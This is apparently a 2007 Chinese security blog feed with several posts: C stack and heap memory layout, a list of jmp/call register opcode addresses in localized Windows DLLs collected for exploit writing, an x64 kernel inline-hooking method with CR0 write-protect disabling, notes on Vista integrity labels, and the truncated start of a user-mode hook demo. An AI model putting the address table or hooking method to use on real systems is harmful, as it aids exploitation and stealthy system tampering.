<p><font color=#808080>#include "stdafx.h"<br>#include "string.h"<br>#include "stdio.h"<br>int main(int argc, char* argv[])<br>{<br>&nbsp;&nbsp;&nbsp;&nbsp; char source[]="This is a source sentence";<br>&nbsp;&nbsp;&nbsp; //char *source="This is a source sentence";<br>&nbsp;&nbsp; &nbsp;strtok(source,"a");<br>&nbsp;&nbsp; &nbsp;printf("%s\n",source);<br>&nbsp;&nbsp;&nbsp; return 0;<br>}</font> </p>
<p>如果用被注释掉的那句话，程序运行的时候就报错。</p>
<p>发现问题并找到参考资料如下：<br>首先要搞清楚编译程序占用的内存的分区形式：</p>
<p><br><font color=#993300>一、预备知识—程序的内存分配<br></font>一个由c/C++编译的程序占用的内存分为以下几个部分<br>1、栈区（stack）—由编译器自动分配释放，存放函数的参数值，局部变量的值等。其操作方式类似于数据结构中的栈。<br>2、堆区（heap）—一般由程序员分配释放，若程序员不释放，程序结束时可能由OS回收。注意它与数据结构中的堆是两回事，分配方式倒是类似于链表。<br>3、全局区（静态区）（static）—全局变量和静态变量的存储是放在一块的，初始化的全局变量和静态变量在一块区域，未初始化的全局变量和未初始化的静态变量在相邻的另一块区域。程序结束后由系统释放。<br>4、文字常量区—常量字符串就是放在这里的。程序结束后由系统释放。<br>5、程序代码区<br><br>//main.cpp<br>&nbsp; int a=0;&nbsp;&nbsp;&nbsp; //全局初始化区<br>&nbsp; char *p1;&nbsp;&nbsp; //全局未初始化区<br>&nbsp; main()<br>&nbsp; {<br>&nbsp;&nbsp; int b;栈<br>&nbsp;&nbsp; char s[]="abc";&nbsp;&nbsp; //栈<br>&nbsp;&nbsp; char *p2;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; //栈<br>&nbsp;&nbsp; char *p3="123456";&nbsp;&nbsp; //123456\0在常量区，p3在栈上。<br>&nbsp;&nbsp; static int c=0；&nbsp;&nbsp; //全局（静态）初始化区<br>&nbsp;&nbsp; p1 = (char*)malloc(10);<br>&nbsp;&nbsp; p2 = (char*)malloc(20);&nbsp;&nbsp; //分配得来得10和20字节的区域就在堆区。<br>&nbsp;&nbsp; strcpy(p1,"123456");&nbsp;&nbsp; //123456\0放在常量区，编译器可能会将它与p3所向"123456"优化成一个地方。<br>}<br>二、堆和栈的理论知识<br>2.1申请方式<br>stack:<br>由系统自动分配。例如，声明在函数中一个局部变量int b;系统自动在栈中为b开辟空间<br>heap:<br>需要程序员自己申请，并指明大小，在c中malloc函数<br>如p1=(char*)malloc(10);<br>在C++中用new运算符<br>如p2=new char[10];<br><font color=#ff9900><font color=#ff0000>但是注意p1、p2本身是在栈中的。</font><br></font>2.2申请后系统的响应<br>栈：只要栈的剩余空间大于所申请空间，系统将为程序提供内存，否则将报异常提示栈溢出。<br>堆：首先应该知道操作系统有一个记录空闲内存地址的链表，当系统收到程序的申请时，会遍历该链表，寻找第一个空间大于所申请空间的堆结点，然后将该结点从空闲结点链表中删除，并将该结点的空间分配给程序，另外，对于大多数系统，会在这块内存空间中的首地址处记录本次分配的大小，这样，代码中的delete语句才能正确的释放本内存空间。另外，由于找到的堆结点的大小不一定正好等于申请的大小，系统会自动的将多余的那部分重新放入空闲链表中。<br>2.3申请大小的限制<br>栈：在Windows下,栈是向低地址扩展的数据结构，是一块连续的内存的区域。这句话的意思是栈顶的地址和栈的最大容量是系统预先规定好的，在 WINDOWS下，栈的大小是2M（也有的说是1M，总之是一个编译时就确定的常数），如果申请的空间超过栈的剩余空间时，将提示overflow。因此，能从栈获得的空间较小。<br>堆：堆是向高地址扩展的数据结构，是不连续的内存区域。这是由于系统是用链表来存储的空闲内存地址的，自然是不连续的，而链表的遍历方向是由低地址向高地址。堆的大小受限于计算机系统中有效的虚拟内存。由此可见，堆获得的空间比较灵活，也比较大。<br>2.4申请效率的比较：<br>栈:由系统自动分配，速度较快。但程序员是无法控制的。<br>堆:是由new分配的内存，一般速度比较慢，而且容易产生内存碎片,不过用起来最方便.<br>另外，在WINDOWS下，最好的方式是用Virtual Alloc分配内存，他不是在堆，也不是在栈,而是直接在进程的地址空间中保留一块内存，虽然用起来最不方便。但是速度快，也最灵活。<br>2.5堆和栈中的存储内容<br>栈：在函数调用时，第一个进栈的是主函数中后的下一条指令（函数调用语句的下一条可执行语句）的地址，然后是函数的各个参数，在大多数的C编译器中，参数是由右往左入栈的，然后是函数中的局部变量。注意静态变量是不入栈的。<br>当本次函数调用结束后，局部变量先出栈，然后是参数，最后栈顶指针指向最开始存的地址，也就是主函数中的下一条指令，程序由该点继续运行。<br>堆：一般是在堆的头部用一个字节存放堆的大小。堆中的具体内容由程序员安排。<br>2.6存取效率的比较<br>char s1[]="aaaaaaaaaaaaaaa";<br>char *s2="bbbbbbbbbbbbbbbbb";<br>aaaaaaaaaaa是在运行时刻赋值的；<br>而bbbbbbbbbbb是在编译时就确定的；<br>但是，在以后的存取中，在栈上的数组比指针所指向的字符串(例如堆)快。<br>比如：<br>void main()<br>{<br>char a=1;<br>char c[]="1234567890";<br>char *p="1234567890";<br>a = c[1];<br>a = p[1];<br>return;<br>}<br>对应的汇编代码<br>10:a=c[1];<br>004010678A4DF1 mov cl,byte ptr[ebp-0Fh]<br>0040106A884DFC mov byte ptr[ebp-4],cl<br>11:a=p[1];<br>0040106D8B55EC mov edx,dword ptr[ebp-14h]<br>004010708A4201 mov al,byte ptr[edx+1]<br>004010738845FC mov byte ptr[ebp-4],al<br>第一种在读取时直接就把字符串中的元素读到寄存器cl中，而第二种则要先把指针值读到edx中，再根据edx读取字符，显然慢了。<br>2.7小结：<br>堆和栈的区别可以用如下的比喻来看出：<br>使用栈就象我们去饭馆里吃饭，只管点菜（发出申请）、付钱、和吃（使用），吃饱了就走，不必理会切菜、洗菜等准备工作和洗碗、刷锅等扫尾工作，他的好处是快捷，但是自由度小。<br>使用堆就象是自己动手做喜欢吃的菜肴，比较麻烦，但是比较符合自己的口味，而且自由度大。</p>
<p>自我总结：<br>char *c1 = "abc";实际上先是在文字常量区分配了一块内存放"abc",然后在栈上分配一地址给c1并指向这块地址，然后改变常量"abc"自然会崩溃</p>
<p>然而char c2[] = "abc",实际上abc分配内存的地方和上者并不一样，可以从<br>4199056<br>2293624 看出，完全是两块地方，推断4199056处于常量区，而2293624处于栈区</p>
<p>2293628<br>2293624<br>2293620 这段输出看出三个指针分配的区域为栈区，而且是从高地址到低地址</p>
<p>2293620 4199056 abc 看出编译器将c3优化指向常量区的"abc"</p>
<p><br>继续思考：<br>代码：<br>#include &lt;stdio.h&gt;<br>#include &lt;windows.h&gt;</p>
<p>main()<br>{<br>&nbsp;&nbsp; char *c1 = "abc";<br>&nbsp;&nbsp; char c2[] = "abc";<br>&nbsp;&nbsp; char *c3 = (char* )malloc(3);<br>&nbsp;&nbsp; //&nbsp; *c3 = "abc" //error<br>&nbsp;&nbsp; strcpy(c3,"abc");<br>&nbsp;&nbsp; c3[0] = 'g';<br>&nbsp;&nbsp; printf("%d %d %s\n",&amp;c1,c1,c1);<br>&nbsp;&nbsp; printf("%d %d %s\n",&amp;c2,c2,c2);<br>&nbsp;&nbsp; printf("%d %d %s\n",&amp;c3,c3,c3);<br>&nbsp;&nbsp; getchar();<br>}&nbsp;&nbsp; <br>输出：<br>2293628 4199056 abc<br>2293624 2293624 abc<br>2293620 4012976 gbc<br>写成注释那样，后面改动就会崩溃<br>可见strcpy(c3,"abc");abc是另一块地方分配的，而且可以改变，和上面的参考文档说法有些不一定，而且我不能断定4012976是哪个区的，可能要通过算区的长度，希望高人继续深入解释，谢谢<br><br></p>
<h3 class=post-title><a href="http://pstgroup.blogspot.com/2007/05/tipsopcodes.html">[Tips]一些opcodes</a> </h3>
<div class=post-header-line-1></div>
<div class=post-body>
<p>by axis<br>2007-03-28<br>http://www.ph4nt0m.org<br><br>近日在写exploit的时候需要用到一些其他语言的call ebx的跳转地址，但是metasploit的opcode DB没有包括繁体中文、日文、韩文机器的跳转地址，所以费了点时间收集了下，在这里要感谢傲少提供的机器给我去找地址。现在贴到这里，方便大家。<br><br><br>简体中文windows的通用跳转地址：(2k/XP/2k3)<br>0x7ffa45f3 jmp ecx \xff\xe1<br>0x7ffa4967 jmp ebp \xff\xe5<br>0x7ffa4a1b jmp ebx \xff\xe3<br>0x7ffa6773 push ebx,retn \x53\xc3 (0x7ffa6772 是 pop edx)<br>0x7ffd1769 -- 0x7ffd1779 jmp eax \xff\xe0<br>0x7ffc01b0 pop esi,retn \x5e\xc3<br>0x7ffa54cf 0x7ffaf780 jmp edx \xff\xe2<br><br>7FFA1571 58 POP EAX<br>7FFA1572 BF 58C058C2 MOV EDI,C258C058<br>7FFA1577 58 POP EAX<br>7FFA1578 C3 RETN<br><br><br><br>韩文版windows 2003 sp1上的 KR<br>kr 2k3 sp1<br>71ab1346 call eax ws2_32.dll<br>71ab4340 jmp eax ws2_32.dll<br>71ac273f call ecx ws2_32.dll<br>71ab6e3b jmp ecx ws2_32.dll<br>71ab5fb0 call ebx ws2_32.dll<br>71ab596b call esi ws2_32.dll<br>71ab5503 call edi ws2_32.dll<br>71ab5f62 pop edi, pop esi retn ws2_32.dll<br><br>可能是韩文版windows通用地址的（需确认） KR<br>7ffa6d56 call eax<br>7ffa78aa call edx<br>7ffa7306 call ecx<br>7ffa901a call ebx<br>7ffa4a1b jmp ebx<br>7ffa82a4 call esp<br>7ffa8b3c call esi<br>7ffa49d7 jmp esi<br><br><br><br><br>jp 2003 sp1 r2<br>日文 windows 2003 r2 SP1<br><br>7c999c86 call ebx ntdll.dll<br>7c9a96aa call ebx ntdll.dll<br>7c9b2c62 call ebx ntdll.dll<br>7c9834a3 jmp ebx ntdll.dll<br><br>7c9d1d1e jmp esp ntdll.dll<br>7c9585fb call eax ntdll.dll<br>7c99c6cb jmp eax ntdll.dll<br><br>7c95139e pop esi,pop ebp,retn ntdll.dll<br><br>7c951bc2 call ecx ntdll.dll<br>7c9c27bb call edx ntdll.dll<br>7c9523d7 call edi ntdll.dll<br>7c96a3c3 call esi ntdll.dll<br><br>71aa596b call edi ws2_32.dll<br>71aa5503 call edi ws2_32.dll<br>71aa5fb0 call ebx ws2_32.dll<br>71aa1346 call eax ws2_32.dll<br>71aa4340 jmp eax ws2_32.dll<br>71aa596b call esi ws2_32.dll<br>71aa5f62 pop edi,pop esi,retn ws2_32.dll<br><br><br><br>win tw 繁体中文windows通用地址(至少2k3 sp1)<br>7ffa2186 jmp ebx<br>7ffd1987 call eax (2k3 tw)<br>7ffaf9a8 jmp eax<br>7ffa46ad jmp ecx<br>7ffafffa jmp edx<br>7ffa24ce jmp esp<br>7ffa2b64 jmp esi<br>7ffa2eac jmp edi<br><br>71b75fb0 call ebx ws2_32.dll<br></p>
</div>
</div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1705.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-08-11 17:58 <a href="http://www.phpweblog.net/GaRY/archive/2007/08/11/1705.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zt]detours， x86 kernel hook 以及 x64 kernel hook</title><link>http://www.phpweblog.net/GaRY/archive/2007/07/11/1496.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 10 Jul 2007 16:54:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/07/11/1496.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1496.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/07/11/1496.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1496.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1496.html</trackback:ping><description><![CDATA[<p>我假设读者已经非常熟悉detours，阅读此文只是为了增强对detours的理解以及为了实现x64 hook。有关detours原理部分不再多讲。<br><br>X86 Kernel Hook<br>早些年，我把detours1.5移植到x86核心层，工作的不错，我一直用它来hook系统一些内部函数，有时候也用来hook IoCreateFile这类导出函数。让detours1.5在核心工作稳定并不是一件困难的事情。可能有些c/c++的麻烦，但是很快就可以解决。唯一需要注意的地方是detours1.5用VirtualProtect来让内存READ_WRITE_EXECUTE，在核心层有2种方法，第一种是群众所喜闻乐见的清除cr0，第二种是在核心层通过调用native api做VirtualProtect的事情。<br>detours的方法对比import/export方法有一些很明显的好处，其最大的好处是可以用来hook内部函数。而且由于hook的方法是直接修改函数体，所以不管调用者怎么玩花样，都很难绕过hook。<br>detours的缺点主要如下：<br>1，detours x86无法hook小于5字节的函数<br>2，detours x86需要一个完备的反汇编器和解释器，实际上detours代码中并不包含这个，因此，如果需要写一个函数阻止他人hook，可以这么写：<br>&nbsp; proc near<br>&nbsp; &nbsp; &nbsp; xor eax,eax<br>&nbsp; &nbsp; &nbsp; jeax 1<br>&nbsp; &nbsp; &nbsp; int 3<br>&nbsp; &nbsp; &nbsp; ... // do something<br>&nbsp; &nbsp; proc end<br>注意到这里的这个jmp，因为eax肯定为0，所以该int3不会被调用，而被detours过的代码则很可能走到int3上去了，为了让detours的代码不走到int3，detours必须能够解析出前面3行代码的意思，并且修正jeax 1为jeax 1+(trampoline-function)。用类似的技术，也可以欺骗detours。<br>3，detours x86无法处理如下函数：<br>&nbsp; proc near<br>flag: ... // 函数前5个字节<br>&nbsp; &nbsp; .... //do something<br>&nbsp; &nbsp; jmp flag<br>&nbsp; &nbsp; .... // do something<br>&nbsp; &nbsp; proc end<br>该函数执行体中有一个jmp，跳到前5个字节。可是被detours过之后，该函数的前5个字节被修改了，而且改成了jmp trampoline。为了能够让detours可以处理此操作，必须反汇编解析整个函数体，用2种所描述的方法修改jmp flag。<br><br>综上述，detours思路很好，但是存在缺陷，要搞定这些缺陷，需要完整反汇编器。<br><br>X64 Kernel Hook<br>最近有一个需求要在x64下实现类似的hook模块，我找到了detours2.1，给MS发了email，MS的答复是，包含64bit的detours2.1，需要10000 USD。<br>于是我就删掉了MS的email，开始自己动手来做这个事情了。我大致说一下原理和需要注意的地方。<br><br>x64 hook和x86 hook的原理相似，都是修改原函数的首地址。不同的是，x64下不存在<br>jmp 64_address这种指令，x86下要跨4G跳转，必须是jmp [64_address]，对应的汇编码不再是e9 xxxxxxxx，而是ff15 [xxxxxxxx]，其中xxxxxxxx保存的是一个64_address。注意xxxxxxxx依然是32位，所以，该内存也必须和function处于同一个4G。<br><br>这个限制对于普通的代码编译来说，并不存在太大的问题，因为很少有exe超过4G的。所以编译器生成的代码依然使用e9 xxxxxxxx。对于import的dll来说，通常都是call [xxxxxxxx]，以前是这样，现在还是这样，不同的是，[xxxxxxxx]以前指向32位的地址，现在指向64位的地址。这样一来，dll加载的位置和exe所在的位置不在同一个4G也没有关系了。<br><br>对于detours来说，受上面所述特性影响的是，trampoline通常位于heap memory/nonpaged pool，new_function位于我们自己所写代码的dll/driver中，old_function位于我们所需要hook的那个模块中。这里面存在一个基本矛盾是，new_function通常和old_function分别处于2个不同dll或者.sys中，系统很可能把他们加载到了距离很远的空间中，也即abs(new_function-old_function)&gt;4G。这样一来，就无法使用e9 xxxxxxxx，而必须使用ff15 [xxxxxxxx]了，而且xxxxxxxx是一个32的偏移，所以[xxxxxxxx]还不能位于我们的dll/sys中。<br><br>根据以上的分析，最后可以得出如下算法：<br>1，找到需要hook的函数地址<br>2，解析从函数起始地址开始，至少6+8=14个字节的代码。代码不能断开。以上2个过程和detourx86一样，不同的是，detoursx86之需要e9 xxxxxxxx，也就是说只需要5个字节，而我们必须用ff15 [xxxxxxxx]。如果函数体小于14个字节，这意味着该函书无法detours。<br>不过函数体小于14字节多半是因为里面执行了一个call或者jmp，那么解析该代码，把函数起始地址设置为jmp之后的地址，重新进行2过程。<br>3，把这14或者15，16...个字节拷贝到预先分配的一块内存中，我们叫它trampoline。<br>4，把前6个字节改为ff15 [0]，也即ff15 00000000<br>5，在随后的8个字节中保存new_function的起始地址<br>6，修正trampoline中的14字节的代码，如果里面有jmp，call等跳转语句，修改偏移量，这时候通常又需要跨4G的跳转，那么按照上面的方法修改之，trampoline的字节数可能会增加。<br>7，在trampoline的代码之后，插入ff15 [0]，并且在随后的8个字节中填充old_function+14。<br><br>trampoline可以预先分配一个100字节的buffer，初始化全部填充为nop，在进行7的时候，可以从trampoline的底部，也即100-14的位置开始填入ff,15,00,00,00,00, 64_bit_old_function+14(15,16...)。<br><br>以上算法的缺点和x86 detours的缺点一样，第一条为无法hook函数体小于14字节的函数。<br><br>14个字节相当大，有时候这个缺陷不可忍受，为此，介绍一种更为肮脏的手段。<br><br>代码加载到内存中时，通常有很多废空间，也即，在这些空间中，只有nop，或者永远不会执行。用IDA可以找到这些空间。如果能够找到足够大到，以至于可以保存一个64位地址的空间的话，那么可以只修改前5个字节为jmp [xxxxxxxx]，同时只拷贝5个字节到trampoline。trampoline的底部14个字节照旧。<br><br>以上就是x64下的detours过程。<br><br>有一个x64下需要注意的问题，vc8不支持x64下的_asm关键字，所以<br>_asm{ <br>cli<br>mov eax,cr0<br>and eax,not 1000h<br>mov cr0,eax }不能再用<br>取而代之的是<br>_disable();<br>uint64 cr0=__readcr0();<br>cr0 &amp;= 0xfffffffffffeffff;<br>__writecr0(cr0);<br>当然还可以继续用native api，不过以上方法简洁而且为广大群众所喜闻乐见。有关于_disable等函数，请查阅新版msdn。<br><br>至于IA64，我对此一无所知。<br><br>顺便说几点：<br>1，EM64T的cpu上可以run win64os，但是，不知为何，vmware无法在EM64T的cpu上install/run win64os。而amd64 cpu上即便安装的是win32 os，也可以在其上的vmware里install/run win64os。<br>2，softice已经停止开发，而且不支持x64，只有virtual模式才支持。鉴于其已经停止开发，建议大家都使用windbg。<br>3，idapro 5.0反汇编x64的代码，错误百出，一团乱麻，基本上需要先U再C。<br></p>
<div class=tpc_content>因为14字节的限制太大，以至于始终觉得不爽。后来想到了一个解决方案。<br><br>假设原函数是old_func，新函数是new_func，那么分配trampoline的时候，用某些技术方法，限定分配出的内存和old_func在同一个4G。可以通过VirtualAlloc实现，具体方法可以是多次改变第一个参数，调用VirtualAlloc，直到返回值不为NULL为止。<br><br>这样一来，detours的逻辑改变为：<br><br>1，首先把old_func的前5个字节拷贝到trampoline+14，然后修改为jmp offset，也即e9 trampoline-5-old<br>2，trampoline的前6字节为ff15 [0],接下来的8个字节为new_func_address<br>3，trampoline+14+5之后的5个字节为jmp (trampoline+14+5+5 - (old_func_addr+5))<br><br>这样调用old的时候，会首先执行jmp offset到trampoline，trampoline又jmp到了new_func，new_func调用old的时候，会直接跳到trampoline+14处，执行原来的前5个字节，然后再jmp会原函数体。<br><br>如此，一切都完美了 :)</div>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1496.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-07-11 00:54 <a href="http://www.phpweblog.net/GaRY/archive/2007/07/11/1496.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>[zt]Windows Vista有趣的标签SID</title><link>http://www.phpweblog.net/GaRY/archive/2007/06/01/1310.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Fri, 01 Jun 2007 14:48:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/06/01/1310.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1310.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/06/01/1310.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1310.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1310.html</trackback:ping><description><![CDATA[<p>文章来源：<a href="http://blogs.itecn.net/blogs/ahpeng">http://blogs.itecn.net/blogs/ahpeng</a></p>
<p>Label SID，盆盆将其翻译为标签SID，诸君别嫌土啊。这个东东是Windows Vista新引入的一个安全主体。在Mark Russinovich的博客文章《<a href="http://blogs.itecn.net/blogs/ahpeng/archive/2007/02/25/psexec.aspx">Windows Vista用户帐户控制、PsExec和安全边界</a>》中，我们知道在Windows Vista，进程和资源对象都划分等级的（完整性级别）。等级低的进程不够资格写入等级高的资源对象，哪怕访问控制列表（ACL）允许也不行。</p>
<p><font color=#0080ff><a href="http://blogs.itecn.net/blogs/ahpeng/"><strong>盆盆</strong></a><strong>评述</strong> 在拙作《<a href="http://blogs.itecn.net/blogs/winvista/archive/2006/07/23/IELowRights.aspx">Windows Vista IE保护模式深入剖析</a>》中做过一个形象的比喻。在Windows Vista中，安全机制有了很大的改进，不仅仅看ACL。这就好比男女双方求爱，除了看对方的经济收入等条件(相当于ACL)，还要看是否门当户对(相当于完整性级别)。</font></p>
<p>看了Mark Russinovich的文章，想必您已经知道如何查看和设置资源对象的完整性级别（可以用icacls或者AccessChk命令）。</p>
<p>那么进程呢？Mark的文章里没提到，相信您已经知道，就是所谓的标签SID，呵呵，太有才了:)</p>
<p><strong>标签SID的实质</strong></p>
<p>标签SID位于进程的访问令牌里，用来标识进程的完整性级别。进程要访问资源对象（例如某个文件夹）时，就亮出它的访问令牌。文件夹就会检查令牌里的标签SID，看看级别是否足够。如果级别比自己还低，对不起，您只能读取，不能写入。</p>
<p>可以用Process Explorer查看进程的访问令牌，从而查看某个进程的标签SID。附图就是一个进程的访问令牌。其中红色部分显示其标签SID是&#8220;Mandatory Label\Medium Mandatory Level&#8221;，表明该进程的完整性级别为&#8220;中级&#8221;。蓝色部分显示该进程并不拥有管理员的运行身份（Administrators标记为Deny），同时只有五个特权。<br><a href="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/1%5B1%5D.jpg"><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" height=240 src="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/1.jpg" width=216 border=0></a> </p>
<p>完全可以想像，如果进程的完整性级别是高级（标签SID为Mandatory Label\High Mandatory Level），该进程应该拥有管理员的运行身份（Administrators标记为Owner），同时拥有约24个特权。</p>
<p><strong>和Linux的对比</strong></p>
<p>利用完整性级别这样的安全机制，Windows Vista就可以获得更高的安全。这样的机制类似于开源的MAC机制，例如Red Hat的SELinux。两者总体上各有千秋，但是窃以为比SELinux更加灵活，对用户的干扰也要小的多。在MAC下，用户有时候必须自己定义进程和资源的&#8220;类型&#8221;，否则进程工作可能会不正常。更具体的对比，可以参考盆盆回复在远景上的<a class="" href="http://www.vistafans.com/viewthread.php?tid=37624&amp;extra=page%3D&amp;page=16">帖子</a>（该贴已经有2万6千个访问量，寒一个～）</p>
<p><strong>标签SID的其他作用</strong></p>
<p>标签SID除了可以判断进程的访问权限外。还可以用来帮助决策UAC是否弹出权限提升对话框，这点在Mark的文章里没有提到。</p>
<p>默认情况下，如果某个进程需要管理员特权，则系统会查看其父进程的标签SID，如果是&#8220;中级&#8221;，则会弹出权限提升对话框。如果是&#8220;高级&#8221;，则不会弹出对话框（直接继承父进程的安全上下文）。</p>
<p><font color=#0080ff><a href="http://blogs.itecn.net/blogs/ahpeng/"><strong>盆盆</strong></a><strong>评述</strong></font> <font color=#0080ff>有关这一点，盆盆在06年3月份的文章《</font><a href="http://blogs.itecn.net/blogs/ahpeng/archive/2006/03/02/UAC_5F00_V2.aspx">Windows Vista的UAC功能浅析(二)</a><font color=#0080ff>》曾经做过这样的猜测，现在得到实验的证实。</font></p>
<p>由于绝大多数用户进程的父进程是Explorer，其标签SID为&#8220;中级&#8221;，所以会弹出权限提升对话框。</p>
<p>以管理员身份打开&#8220;命令提示符&#8221;窗口，然后再在其下运行需要管理员特权的进程，这时候不会弹出权限提升对话框。因为父进程cmd.exe的标签SID是&#8220;高级&#8221;。</p>
<p><strong>有趣的特例</strong></p>
<p>我们可以做一个实验，来欺骗Windows Vista的安全机制。在Process Explorer里单击File&#8594;Run as Limited User，然后在打开的对话框里输入&#8220;CMD&#8221;并回车，如附图所示。</p>
<p><a href="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/2%5B1%5D.jpg"><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" height=190 src="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/2.jpg" width=240 border=0></a> </p>
<p>这时候会弹出一个很&#8220;另类&#8221;的命令提示符窗口。该命令提示符进程的标签SID是&#8220;高级&#8221;，但是实际上却是标准用户权限。不信？且看其访问令牌：</p>
<p><a href="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/3%5B1%5D.jpg"><img style="BORDER-TOP-WIDTH: 0px; BORDER-LEFT-WIDTH: 0px; BORDER-BOTTOM-WIDTH: 0px; BORDER-RIGHT-WIDTH: 0px" height=240 src="http://blogs.itecn.net/blogs/ahpeng/WindowsLiveWriter/WindowsVistaSID_E3FC/3.jpg" width=216 border=0></a> </p>
<p>在红色部分我们可以看到，其标签SID是&#8220;Mandatory Label\High Mandatory Level&#8221;（完整性级别为&#8220;高级&#8221;），但是却并不拥有管理员的运行身份（Administrators标记为Deny），同时只有五个特权（查看蓝色部分）。</p>
<p>在这个&#8220;另类&#8221;的命令提示符下运行某个需要管理员特权的任务，例如&#8220;服务&#8221;管理单元，会发生什么情况？</p>
<p>系统根本不会弹出提升权限对话框，直接启动&#8220;服务&#8221;管理单元。这是因为UAC系统会根据父进程的标签SID来判定是否需要弹出权限提升对话框。</p>
<p>但是打开的这个&#8220;服务&#8221;管理单元也一样&#8220;另类&#8221;，Windows显然已经认为这是一个管理员进程（因为其标签SID为高级），但是实际上只有标准用户权限，我们什么操作几乎都不能做。</p>
<p><strong>安全影响</strong></p>
<p>Windows Vista的UAC只根据父进程的标签SID来判断是否应该提升权限，看上去似乎有点弱智。但是实际上由于这种操作的可能性很低，所以影响很小。</p>
<p><strong>还有一个需要有趣的地方是，这种&#8220;另类&#8221;的进程虽然只有标准用户权限，但是完整性级别却是&#8220;高级&#8221;，所以这些进程可以通过代码注入等手段获取管理员权限，这和Windows 2000/XP的情况是一致的。</strong></p>
<p>不过攻击者想要利用这种方法绕开UAC的限制，几乎是不可能的，因为构建这样的访问令牌，本身需要管理员特权。所以用户大可不必担心。</p>
<p><font color=#0080ff><a href="http://blogs.itecn.net/blogs/ahpeng/"><strong>盆盆</strong></a><strong>评述</strong> 05年11月，当时盆盆刚接触Windows Vista不久，写过一篇文章《<a href="http://blogs.itecn.net/blogs/ahpeng/archive/2005/11/20/Uap_5F00_TimeDate.aspx">Windows Vista的UAC功能浅析(一)</a>》，就猜测&#8220;古怪帐户&#8221;的作用，应该是用来标识进程的等级。这里的&#8220;古怪帐户&#8221;，实际上就是本文所说的标签SID。</font></p>
<img src ="http://www.phpweblog.net/GaRY/aggbug/1310.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.phpweblog.net/GaRY/" target="_blank">wofeiwo</a> 2007-06-01 22:48 <a href="http://www.phpweblog.net/GaRY/archive/2007/06/01/1310.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Ring3 Inline Hook  Demo</title><link>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html</link><dc:creator>wofeiwo</dc:creator><author>wofeiwo</author><pubDate>Tue, 29 May 2007 05:45:00 GMT</pubDate><guid>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html</guid><wfw:comment>http://www.phpweblog.net/GaRY/comments/1272.html</wfw:comment><comments>http://www.phpweblog.net/GaRY/archive/2007/05/29/ring3_inline_hook_demo.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.phpweblog.net/GaRY/comments/commentRss/1272.html</wfw:commentRss><trackback:ping>http://www.phpweblog.net/GaRY/services/trackbacks/1272.html</trackback:ping><description><![CDATA[第一次写这种内存补丁一样的东西.开始怎么写都出错.字节码没有对齐..跳转地址算错.等等...后来用ida分析+od调试搞定.(头一次认认真真用od和ida...值得纪念)<br>测试环境xp sp2+vc6.0<br><br>
<div style="BORDER-RIGHT: #cccccc 1px solid; PADDING-RIGHT: 5px; BORDER-TOP: #cccccc 1px solid; PADDING-LEFT: 4px; FONT-SIZE: 13px; PADDING-BOTTOM: 4px; BORDER-LEFT: #cccccc 1px solid; WIDTH: 98%; WORD-BREAK: break-all; PADDING-TOP: 4px; BORDER-BOTTOM: #cccccc 1px solid; BACKGROUND-COLOR: #eeeeee"><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><span style="COLOR: #000000">#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">stdio.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top>#include&nbsp;</span><span style="COLOR: #000000">&lt;</span><span style="COLOR: #000000">windows.h</span><span style="COLOR: #000000">&gt;</span><span style="COLOR: #000000"><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top><br><img src="http://www.phpweblog.net/Images/OutliningIndicators/None.gif" align=top></span><span style="COLOR: #008000">//</span><span style="COLOR: #008000">&nbsp;保存原始的5个字节代码,注意一定要保证完整</span><span style="COLOR: #008000"><br><img id=Codehighlighter1_76_105_Open_Image onclick="this.style.display='none'; 